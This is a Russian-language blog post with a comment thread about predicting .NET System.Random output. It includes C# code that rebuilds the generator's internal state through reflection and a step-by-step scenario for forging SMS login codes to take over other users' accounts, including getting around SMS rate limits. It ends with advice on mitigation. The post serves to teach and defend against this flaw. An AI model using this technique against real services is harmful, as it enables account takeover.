Random numbers should not be generated with a method chosen at random.
— Donald Knuth

Копаясь как-то в исходниках одного сервиса в поисках уязвимостей, я наткнулся на генерацию одноразового кода для аутентификации через SMS. Обработчик запросов на отправку кода упрощённо выглядел так:


class AuthenticateByPhoneHandler
{
    /* ... */

    static string GenerateCode() => rnd.Next(100000, 1000000).ToString();

    readonly static Random rnd = new Random();
}

Проблема видна невооруженным глазом: для генерации 6-тизначного кода используется класс Random — простой некриптографический генератор псевдослучайных чисел (ГПСЧ). Займёмся им вплотную: научимся предсказывать последовательность случайных чисел и прикинем возможный сценарий атаки на сервис.


Потокобезопасность


Кстати, заметим, что в приведённом фрагменте кода доступ к статическому экземпляру rnd класса Random из нескольких потоков не синхронизирован. Это может привести к неприятному казусу, который можно часто встретить в вопросах и ответах на StackOverflow:



То есть первый сценарий атаки прост — шлём на сервер множество параллельных запросов на отправку SMS, в результате экземпляр класса Random оказывается в весьма плачевном состоянии.


Однако, эта атака слишком грубая. Кроме того, нарушать работоспособность сервиса в планы не входило. Поэтому перейдём к предсказанию кодов, отправляемых в SMS.


Потрошим Random.cs


В документации написано, что класс Random реализует алгоритм генерации случайных чисел методом вычитания, предложенный Дональдом Кнутом во втором томе «Искусства программирования», это вариация запаздывающего генератора Фибоначчи.


Забавно, что алгоритм реализован с опечаткой. Генератор инициализируется значениями, которые отличаются от описанных Кнутом, поэтому свойства и период генерируемых чисел могут быть хуже ожидаемых. Microsoft решила не исправлять реализацию, чтобы не ломать обратную совместимость. Вместо этого в документации появилась оговорка про «модифицированную» версию алгоритма.

Так выглядит метод для генерации следующего псевдослучайного числа.


private int InternalSample()
{
    int locINext = inext;
    int locINextp = inextp;

    if(++locINext >= 56) locINext = 1;
    if(++locINextp >= 56) locINextp = 1;

    var retVal = SeedArray[locINext] - SeedArray[locINextp];

    if(retVal == int.MaxValue) retVal--;
    if(retVal < 0) retVal += int.MaxValue;

    SeedArray[locINext] = retVal;

    inext = locINext;
    inextp = locINextp;

    return retVal;
}

private int inext = 0;
private int inextp = 21;

private readonly int[] SeedArray = new int[56];

У генератора есть внутреннее состояние SeedArray из 56 int-ов (нулевой элемент не используется, поэтому на самом деле их 55). Новое псевдослучайное число получается путем вычитания двух чисел, расположенных во внутреннем состоянии c индексами inext и inextp. Это же число заменяет элемент внутреннего состояния с индексом inext.



Это означает, что для предсказания следующего псевдослучайного числа не нужно знать теорию аддитивных случайных генераторов, а достаточно лишь узнать текущее внутреннее состояние генератора. И это можно сделать на основе его выходных значений.


Предсказываем будущее


В качестве предсказателя будем использовать экземпляр того же класса Random, в котором через рефлексию заменим внутреннее состояние SeedArray. Для заполнения внутреннего состояния потребуется функция, обратная к преобразованию произвольного Int32-числа из внутреннего состояния к диапазону [min;max):


public static int GetInternalStateValue(int minValue, int maxValue, int value)
{
    var range = maxValue - minValue; // Не учитываем случай range > int.MaxValue
    return (int) ((double) (value - minValue) / range * int.MaxValue);
}

В этом методе используются операции с вещественными числами, поэтому мы получим лишь приближённое значение внутреннего состояния. Напишем тест, чтобы узнать, насколько велика погрешность на нашем диапазоне [100000; 1000000):


var rnd = new Random(31337);

var seedArray = new[] {0}.Concat( // Нулевой элемент SeedArray не используется
        Enumerable.Range(0, 55)
            .Select(i => rnd.Next(Min, Max))
            .Select(val => GetInternalStateValue(Min, Max, val)))
        .ToArray();

var predictor = new Random();

typeof(Random)
    .GetField("SeedArray", BindingFlags.Instance | BindingFlags.NonPublic)
    .SetValue(predictor, seedArray); // Инициализируем предсказатель

for(int i = 0; i < 10; i++)
    Console.WriteLine($"{rnd.Next(Min, Max)} vs {predictor.Next(Min, Max)}");

Получим:


103753 vs 103754 // (+1)
617169 vs 617169
523211 vs 523211
382862 vs 382862
516139 vs 516140 // (+1)
555187 vs 555187
384855 vs 384856 // (+1)
543554 vs 543553 // (-1)
327867 vs 327867
745153 vs 745153

Вуаля! Теперь можно, зная последовательность из 55 чисел, почти точно предсказывать следующие псевдослучайные числа из нужного диапазона.


После предсказания (55 – 21 = 34) чисел ошибка нарастает, и лучше заново инициализировать предсказатель.

Сценарий атаки


Для осуществления атаки нужно учесть ещё один нюанс. У уязвимого сервиса было несколько реплик, запросы на которые балансировались случайным образом. Можно было бы проверить еще и случайность балансировки, но этого не потребовалось — ответ сервера содержал HTTP-заголовок с именем реплики сервиса.


Кроме того, в сервисе было ограничение — не более 3 SMS на один номер. Однако это легко обойти через любой бесплатный сервис для приёма SMS, который предоставляет пул телефонных номеров.


Теперь вся мозаика в сборе. Сценарий атаки будет такой:


  1. Выбираем время, когда поток запросов на сервис минимален, чтобы избежать генерации псевдослучайных чисел другими пользователями.
  2. Используя номера телефонов из пула, получаем N ? 55 SMS с кодами для входа, где N — число реплик сервиса.
  3. Используя метод GetInternalStateValue для обратного преобразования чисел из диапазона, заполняем внутренние состояния N экземпляров генератора случайных чисел.
  4. Отправляем SMS на интересующий телефонный номер, предсказываем отправленный код, входим в сервис под чужой учетной записью.
  5. Если код не подходит (предполагаем, что из-за погрешности при работе с вещественными числами), пробуем (+1) и (-1).
  6. Берем следующий интересующий телефон...

Вывод


Предсказание будущего для экземпляра Random — дело нехитрое.


Предсказание прошлого тоже не проблема. Для этого нужно точно так же инициализировать внутреннее состояние генератора, а затем «обратить» метод InternalSample и отмотать назад 55 уже известных значений.

При использовании Random нужно не забывать о синхронизации доступа либо использовать ThreadStatic-экземпляры. При создании нескольких экземпляров, необходимо позаботиться о seed, чтобы не получить множество одинаково инициализированных объектов.


В критичных для безопасности местах нужно использовать криптографически стойкий и потокобезопасный RNGCryptoServiceProvider и не раскрывать лишнюю информацию об окружении.


Ссылки по теме


Комментарии (31)


  1. Scratch
    30.01.2018 08:50

    Это в самом Контуре такие сервисы пишут?


    1. dscheg Автор
      30.01.2018 09:19

      Ну что вы, как вы могли такое подумать? ;)

      На самом деле, да, это код 2014 года, примерно тогда же проблема была исправлена. Однако задачка показалась мне интересной, чтобы немного покопаться в теме.


  1. xi-tauw
    30.01.2018 09:41
    +1

    Славься обратная совместимость Random.
    ideone.com/VR2B8W


  1. Marwin
    30.01.2018 11:45

    Я, конечно, слышал, что рандомность Random весьма условна, но чтоб настолько...


    1. mayorovp
      30.01.2018 12:03

      Вообще-то, это довольно хороший алгоритм: из некриптостойких алгоритмов лучше него только Вихрь Мерсенна.


  1. Tsvetik
    30.01.2018 15:16
    +1

    Объясните пожалуйста тупому, почему в первом примере rnd.Next() всегда возвращает 0


    1. xi-tauw
      30.01.2018 15:34

      MSDN

      The System.Random class and thread safety
      Instead of instantiating individual Random objects, we recommend that you create a single Random instance to generate all the random numbers needed by your app. However, Random objects are not thread safe. If your app calls Random methods from multiple threads, you must use a synchronization object to ensure that only one thread can access the random number generator at a time. If you don't ensure that the Random object is accessed in a thread-safe way, calls to methods that return random numbers return 0.


      1. mayorovp
        30.01.2018 15:38

        Но каков механизм появления этих нолей?


        1. xi-tauw
          30.01.2018 16:32
          +3

          В конструкторе Random устанавливаются значения inext в 0, inextp в 21. При безопасном использовании это расстояние сохраняется.
          Смотрим на InternalSample (есть в статье).
          Вангую, что из-за доступа из разных потоков к переменным inext и inextp может происходить рассинхронизация и расстояние между ними не всегда будет постоянным. Если так вдруг случилось, что inext и inextp совпали, то за 55 вызовов массив SeedArray весь обнулится. Далее все «случайные» числа будут высчитываться как 0 — 0.


  1. dmih
    30.01.2018 16:56
    +2

    Про забавную совместимость забавно, у меня использовался как-то string.GetHash() и между версиями 1.1 и 2 в .NET они его поменяли.

    Поскольку функция была не особо часто используемой, но нужной для инфраструктурной совместимости, родилось public static int GetHashCode11 (string str), и чтобы особо не париться, сделано это было через вызов StringGetHashCode11.exe.
    И на всех серверах стоит .NET 1 для этого :)

    Ужосы какие, наверное про изменение хеша в общем тоже кто-то где-то статью написал. А с рандомом вот решили не делать.


    1. DistortNeo
      30.01.2018 18:35
      +1

      > Про забавную совместимость забавно, у меня использовался как-то string.GetHash() и между версиями 1.1 и 2 в .NET они его поменяли.

      Что увидительно, и про GetHashCode, и про Random написано одинаково, что их реализация от платформы к платформе может отличаться.

      Note that the example may produce different sequences of random numbers if run on different versions of the .NET Framework.


      1. dmih
        30.01.2018 18:44

        Я особо и не против, у меня много такой мякоты, но вся она находится в namespace Darwin от слова премия :)


      1. dmih
        30.01.2018 18:59

        … в ту же степь там всякие переходники ремоутинга, сериализации, биндеры какие-то,
        я просто с уважением отношусь к legacy коду, его к сожалению очень много накапливается за года, но если он хорошо работает, то часто лучше адаптироваться


        1. DistortNeo
          30.01.2018 19:15

          я просто с уважением отношусь к legacy коду, его к сожалению очень много накапливается за года, но если он хорошо работает, то часто лучше адаптироваться

          То есть если код нарушает спецификации, его все равно можно считать хорошо работающим? Просто интересно, как вы использовали GetHashCode, что смена его реализации для вас оказалась критичной.


          1. dmih
            30.01.2018 19:19

            У меня результатом работы этого когда динамически создаваемые базы данных названы. И с ними по крайней мере какое-то время должны были работать и старый, и новый код, находя их.
            Ну это очень странный случай поперек всех современных гайдлайнов, да, но когда это писалось, программирование так в целом по индустрии было несколько в другом состоянии, и у меня в частности тоже.

            Вообще много таких примеров на самом деле. Зависит от того, дорог ли вам как память код 20-летней давности. Я не сторонник рефакторинга раз в 5 лет, если он и так отлично работает. До определенного предела конечно.
            Но такие вот особо одаренные случаи как результат тоже неизбежны.


            1. DistortNeo
              30.01.2018 22:49

              Вполне верю. Взять тот же C/C++ — до распространения 64-битных архитектур никто не заморачивался над размером указателя, да и не было гайдлайнов на эту тему.


          1. dmih
            30.01.2018 19:24

            Некоторые фрагменты кода из прошлого века сейчас нормально так работают, преимущественно C/CPP конечно, некоторые конечно выкинуты. Некоторые вообще на умерших языках типа managed extensions для CLR первой версии, которую зарубили.
            Переписывать это — трудозатраты часто совершенно не оправданы.
            Это всё только взгляд с перспективы десятков лет, конечно. Так вот сев подумав, «да я всё перепишу», но когда кода реально много, иногда переписывать — это просто полная дурь.


  1. w1ld
    30.01.2018 20:16

    Спасибо, интересно видеть, как на практике это можно взломать.


    При использовании Random нужно не забывать о синхронизации доступа либо использовать ThreadStatic-экземпляры. При создании нескольких экземпляров, необходимо позаботиться о seed, чтобы не получить множество одинаково инициализированных объектов.

    Не понимаю. Т.е. рекомендация такая. Делай один уникальный Random для каждого потока (ThreadStatic). Т.к. если один Random для многих потоков, то его легче предсказать. А как о seed заботиться? Количество тиков из DateTime по какому-нибудь модулю брать или как?


    1. mayorovp
      30.01.2018 20:34

      Можно брать seed из другого рандома или из RNGCryptoServiceProvider.


      1. dscheg Автор
        30.01.2018 21:01

        w1ld Количество тиков (Environment.TickCount) и так используется в конструкторе Random по умолчанию, его нежелательно использовать в сценарии ThreadStatic экземпляров, потому что тогда seed может оказаться одинаковым для всех экземпляров (потоков), если конструктор будет вызван одновременно. Обычно используют один статический экземпляр Random, как предложилmayorovp, для получения случайных seed (под локом), которыми, в свою очередь, инициализируют ThreadStatic экземпляры.


        1. PsyHaSTe
          30.01.2018 21:55

          У меня например в однострочник реализовано:

          private static readonly ThreadLocal<Random> Random = 
             new ThreadLocal<Random>(
                () => new Random(Environment.TickCount ^ Thread.CurrentThread.ManagedThreadId)
             );

          Просто и удобно


  1. dscheg Автор
    30.01.2018 20:57

    промазал


  1. Hixon10
    30.01.2018 21:28

    не раскрывать лишнюю информацию об окружении.

    Плохой совет, на мой вкус. Security through obscurity же.


    1. lorc
      30.01.2018 21:37

      Сложный вопрос. Компьютер же — детерминированная штука. Так что либо нужно генерировать случайные числа с помощью квантового генератора, либо не подпускать атакующего на такое расстояние, где он может знать полное окружение.


    1. lorc
      30.01.2018 21:42

      К тому же, я сомневаюсь что этот принцип вообще применим в данном случае. Ведь сокрытие ключа шифрования — это не «Security through obscurity», не так ли? То же самое относится и к внутреннему состоянию ГПСЧ.


      1. Hixon10
        30.01.2018 21:45

        Если я правильно понял автора статьи, то этой фразой он хотел сказать: «ответ сервера, который содержит HTTP-заголовок с именем реплики сервиса — это зло».

        Хотя, как мне кажется, это вполне нормальная информация, которая может быть частью Public-api, и использоваться например для клиентской балансировки.


        1. dscheg Автор
          30.01.2018 22:25
          +1

          Да, под раскрытием информации я имел в виду имя реплики. Действительно спорный совет, безопасность зачастую противоречит удобству (отладки в данном случае). И всё же эта информация помогла в данном сценарии атаки. Другой пример раскрытия информаци — стэктрейсы, тоже помогают в отладке, но показывать их потенциальному злоумышленнику не кажется хорошей идеей.


    1. green_hippo
      30.01.2018 23:22

      Секундочу, но ведь security through obscurity — не про то! Принцип не говорит, что нужно дать атакующему всю информацию об устройстве [криптографической] системы, кроме условного «закрытого ключа». Он говорит, что не нужно полагаться на неосведомлённость атакующего как на главную защитную меру. А как на дополнительную — конечно же, можно и нужно полагаться.


      Управление рисками, в том числе безопасности, подчиняется экономическим законам. Если затраты на атаку превышают выгоду от неё, нарушитель трижды подумает. Особенно если за ним не стоит большое государство или корпорация с, условно, неограниченными ресурсами. Именно поэтому раскрытие лишней информации о системе вредно — снижаются затраты на атаку, возрастает её вероятность.


      Но что же я такое говорю! Конечно же, нужно передавать в HTTP-заголовках все названия и версии используемых языков программирования, фреймворков, middleware и операционных систем, сделать доступной из браузера папку .git, закоммитить node_modules, опубликовать Dockerfile-ы, а лучше сразу выкладывать списки уязвимостей с cve.mitre.org, которые ещё не закрыты, чтобы атакующие не подумали, что от них что-то скрывают (:


      1. Hixon10
        30.01.2018 23:50

        А как на дополнительную — конечно же, можно и нужно полагаться.


        1)
        Меня, если честно, очень эта фраза цепляет. Давайте рассмотрим криптографическую систему с закрытым ключом. Эта система устойчива до тех пор, пока:
        1) Не доказано, что P == NPen.wikipedia.org/wiki/P_versus_NP_problem
        2) Закрытый ключ не скомпрометирован.
        3) Вычислительные мощности находятся на примерно таком же уровне. Например, никто не построил себе кластер из миллиарда машин, либо квантовые компьютеры не стали стабильными, или ещё что-то.

        Вы гововрите: «можно скрывать информацию о системе, для того чтобы использовать это, как дополнительный уровень зищиты». Я не очень понимаю, что бы это могло значить. Ваша система уже секьюрна, пока выполняются эти 3 условия. Либо мы пытаемся играть в: «наша система не секьюрна, но сломать её экономически дорого, так как ни у кого нет доступа до кода из вне, и т.д.».

        2)
        Честно, я немного не понял про версии софта в заголовках, и публичные Dockerfile.

        a) Если ваш сервис работает на Некотором Софте, и в этой версии Софта нашли уязвимость, ваша система может быть взломана, вопрос лишь времени (ну да, если наша позиция — не сделать секьюрную систему, а сделать дорого взламываемую систему — это ок).

        b) Что секретного в ваших Dockerfile? Вы храните там Secrets? Ну, в этом случае вы не следуете общепринятым практикам, и вина на вас. Это как хранить пароли в базке.


        1. green_hippo
          31.01.2018 00:46

          Мы разошлись во мнениях потому, что говорим о разных «системах». Про security through obscurity уместно вспоминать в разговоре об абстрактных моделях (в частности, криптографических систем).

          В разговоре про системы из реального мира, которые реализуют эти модели, — неуместно. Потому что в реальном мире любое условие может быть нарушено и будет нарушено, если это экономически выгодно. Например, любой закрытый ключ, имеющий физическое представление (в виде байт на диске или клеток в мозге), может быть скомпрометирован, если имеющие к ключу доступ приобретут должную мотивацию.

          Поэтому писать на сайте компании «наш сисадмин Вася живёт по такому-то адресу, у него больные родители, заурядная зарплата и грабительский процент по ипотеке» — можно, но неосмотрительно. Это упростит реализацию атаки по некоторым из возможных векторов.


  1. VladimirKochetkov
    31.01.2018 15:58
    +1

    Утилитка, автоматизирующая атаку синхронизации с PRNG для нескольких языков/платформ (включая дотнетовский System.Random): Untwister